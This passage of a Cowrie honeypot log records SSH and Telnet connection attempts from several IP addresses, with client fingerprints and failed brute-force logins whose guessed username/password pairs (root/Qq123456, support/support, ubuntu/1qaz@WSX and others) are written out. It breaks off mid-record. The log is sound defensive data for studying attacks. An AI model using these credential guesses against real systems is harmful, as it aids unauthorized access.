{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:12.031208Z","src_ip":"176.65.139.103","session":"dea4b9c34116","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":52704,"dst_ip":"10.17.0.5","dst_port":22,"session":"393bd039d932","protocol":"ssh","message":"New connection: 176.65.139.103:52704 (10.17.0.5:22) [session: 393bd039d932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:17.366942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:17.463065Z","src_ip":"176.65.139.103","session":"393bd039d932","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:17.466994Z","src_ip":"176.65.139.103","session":"393bd039d932","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:18.010116Z","src_ip":"176.65.139.103","session":"393bd039d932","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:19.094937Z","src_ip":"176.65.139.103","session":"393bd039d932","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":45964,"dst_ip":"10.17.0.5","dst_port":23,"session":"632f3292642e","protocol":"telnet","message":"New connection: 213.136.75.179:45964 (10.17.0.5:23) [session: 632f3292642e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:20.855503Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52328,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e80dc8e8c6e","protocol":"ssh","message":"New connection: 159.203.92.129:52328 (159.203.135.109:22) [session: 0e80dc8e8c6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:22.383227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:22.387563Z","src_ip":"159.203.92.129","session":"0e80dc8e8c6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:22.391185Z","src_ip":"159.203.92.129","session":"0e80dc8e8c6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"!QAZxsw2","message":"login attempt [ansible/!QAZxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:22.400570Z","src_ip":"159.203.92.129","session":"0e80dc8e8c6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:23.406798Z","src_ip":"159.203.92.129","session":"0e80dc8e8c6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":45980,"dst_ip":"10.17.0.5","dst_port":23,"session":"9259f17cc22e","protocol":"telnet","message":"New connection: 213.136.75.179:45980 (10.17.0.5:23) [session: 9259f17cc22e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:23.466610Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":49564,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ceefb218911","protocol":"ssh","message":"New connection: 176.65.139.103:49564 (10.17.0.5:22) [session: 5ceefb218911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:24.334995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:24.339483Z","src_ip":"176.65.139.103","session":"5ceefb218911","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:24.422714Z","src_ip":"176.65.139.103","session":"5ceefb218911","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:24.676372Z","src_ip":"176.65.139.103","session":"5ceefb218911","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:25.773216Z","src_ip":"176.65.139.103","session":"5ceefb218911","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":49584,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bf89474308f","protocol":"ssh","message":"New connection: 176.65.139.103:49584 (10.17.0.5:22) [session: 4bf89474308f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:31.259755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:31.264108Z","src_ip":"176.65.139.103","session":"4bf89474308f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:31.346334Z","src_ip":"176.65.139.103","session":"4bf89474308f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.231.220.210","src_port":64246,"dst_ip":"10.17.0.5","dst_port":22,"session":"33cbf6bd4e2b","protocol":"ssh","message":"New connection: 52.231.220.210:64246 (10.17.0.5:22) [session: 33cbf6bd4e2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:31.612089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:31.619078Z","src_ip":"52.231.220.210","session":"33cbf6bd4e2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX","message":"login attempt [ubuntu/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:31.623226Z","src_ip":"176.65.139.103","session":"4bf89474308f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:31.800909Z","src_ip":"52.231.220.210","session":"33cbf6bd4e2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"031290","message":"login attempt [root/031290] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:32.562653Z","src_ip":"52.231.220.210","session":"33cbf6bd4e2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:32.753202Z","src_ip":"176.65.139.103","session":"4bf89474308f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:33.747145Z","src_ip":"52.231.220.210","session":"33cbf6bd4e2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":34930,"dst_ip":"10.17.0.5","dst_port":22,"session":"b24c33725a4b","protocol":"ssh","message":"New connection: 176.65.139.103:34930 (10.17.0.5:22) [session: b24c33725a4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:38.368889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:38.377750Z","src_ip":"176.65.139.103","session":"b24c33725a4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":47258,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5977aa03505","protocol":"telnet","message":"New connection: 161.97.124.15:47258 (159.203.135.109:23) [session: b5977aa03505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:38.384795Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:38.452418Z","src_ip":"176.65.139.103","session":"b24c33725a4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:38.804139Z","src_ip":"176.65.139.103","session":"b24c33725a4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":48382,"dst_ip":"159.203.135.109","dst_port":23,"session":"c57b5c74f333","protocol":"telnet","message":"New connection: 161.97.124.15:48382 (159.203.135.109:23) [session: c57b5c74f333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:38.888191Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.184.144.220","src_port":40210,"dst_ip":"10.17.0.5","dst_port":22,"session":"6efde606cc52","protocol":"ssh","message":"New connection: 202.184.144.220:40210 (10.17.0.5:22) [session: 6efde606cc52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:39.851484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:39.857007Z","src_ip":"202.184.144.220","session":"6efde606cc52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:39.894843Z","src_ip":"176.65.139.103","session":"b24c33725a4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.79379367828369,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:40.057345Z","src_ip":"161.97.124.15","session":"fd7b8ab0930a","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:40.090042Z","src_ip":"202.184.144.220","session":"6efde606cc52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test.","message":"login attempt [test/test.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:41.050757Z","src_ip":"202.184.144.220","session":"6efde606cc52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":40436,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc2d290bc033","protocol":"ssh","message":"New connection: 80.94.92.182:40436 (10.17.0.5:22) [session: dc2d290bc033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:41.101398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:51:41.202259Z","src_ip":"80.94.92.182","session":"dc2d290bc033","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 